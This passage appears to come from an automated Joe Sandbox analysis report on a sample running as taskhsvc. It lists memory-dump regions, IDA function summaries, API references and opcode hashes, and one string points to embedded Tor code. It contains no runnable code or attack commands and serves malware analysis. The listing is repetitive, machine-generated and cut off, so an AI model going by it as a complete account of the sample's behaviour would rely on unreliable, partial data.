                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: abort$__stack_chk_fail
                                        • String ID: P,$h"
                                        • API String ID: 2908038143-2798968069
                                        • Opcode ID: 94019b2f23b5fd137dee0be90e4e8f9f4918d35ba7623379faaf325b96b35d6e
                                        • Instruction ID: 8af3c7f42f7e0546a4fa87b7c8a66445613561cb1cb7af9f54d3fd98b3c9aca8
                                        • Opcode Fuzzy Hash: 94019b2f23b5fd137dee0be90e4e8f9f4918d35ba7623379faaf325b96b35d6e
                                        • Instruction Fuzzy Hash: E94137B4A042059FCB00DFA5D4456AEBBF1FF48394F05C419E954EB351D738DA41DB61
                                        Function 00BE34DB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00D2107E: abort.MSVCRT ref: 00D210D1
                                          • Part of subcall function 00D2107E: malloc.MSVCRT ref: 00D210E9
                                          • Part of subcall function 00D2107E: exit.MSVCRT ref: 00D2112A
                                          • Part of subcall function 00D2107E: __stack_chk_fail.LIBSSP-0 ref: 00D2113D
                                        • abort.MSVCRT ref: 00BE35A1
                                        • memset.MSVCRT ref: 00BE35BC
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BE35CF
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abortstrrchr$exitmallocmemset
                                        • String ID: kP$c
                                        • API String ID: 1956349505-2123480077
                                        • Opcode ID: 5d6630a8d31440af3b64e97c94886a72e558b82f3a8145705492cec764ea02ea
                                        • Instruction ID: 715ccb7b916caeca00f2462f05103f2d22fb99b54d166a0b1d4c06332a4fb3a6
                                        • Opcode Fuzzy Hash: 5d6630a8d31440af3b64e97c94886a72e558b82f3a8145705492cec764ea02ea
                                        • Instruction Fuzzy Hash: A931AEB4A0020A8FCB00DF99C586AAEBBF1FF88314F018459E554AB311E774E985CBA1
                                        Function 00BE33D7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT ref: 00BE343E
                                        • abort.MSVCRT ref: 00BE3489
                                        • free.MSVCRT ref: 00BE34BA
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BE34D4
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abortstrrchr$free
                                        • String ID: (P
                                        • API String ID: 3026730179-2293069473
                                        • Opcode ID: 4b7e1f867a75bf373ec6689f61b4c22ab60e69f7f1c3ca756a4fdb3cb0611477
                                        • Instruction ID: 9a4da2dd20e1ea787adf107f5b03a58c629e70fb399367ee5ce38dc05d375beb
                                        • Opcode Fuzzy Hash: 4b7e1f867a75bf373ec6689f61b4c22ab60e69f7f1c3ca756a4fdb3cb0611477
                                        • Instruction Fuzzy Hash: 042128B0A04206DFDB00EF66D1499AEB7F1EF44304F45C859E854AB395D738D985CF61
                                        Function 00BC2EC2 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        • time.MSVCRT ref: 00BC2F64
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BC2F95
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$time
                                        • String ID: ../src/or/main.c$conn_read_callback$socket %d wants to read.
                                        • API String ID: 2236482411-1261548048
                                        • Opcode ID: 2d112f719b84f1ba6a9da5400950cc105f1309b2d929f665d79e33cdc99c0365
                                        • Instruction ID: 5d63f77d6e2aa22dae019acb9c54d35b6a88e6d390416a88f99d307414e283f3
                                        • Opcode Fuzzy Hash: 2d112f719b84f1ba6a9da5400950cc105f1309b2d929f665d79e33cdc99c0365
                                        • Instruction Fuzzy Hash: 9321A3B49043599FCB00EFA8C485A6EBBF0FF45304F05885DE5A8AB252D734D881DB26
                                        Function 00D21282 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51COMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT ref: 00D212DB
                                        • realloc.MSVCRT ref: 00D212FA
                                        • exit.MSVCRT ref: 00D2133B
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D2134E
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
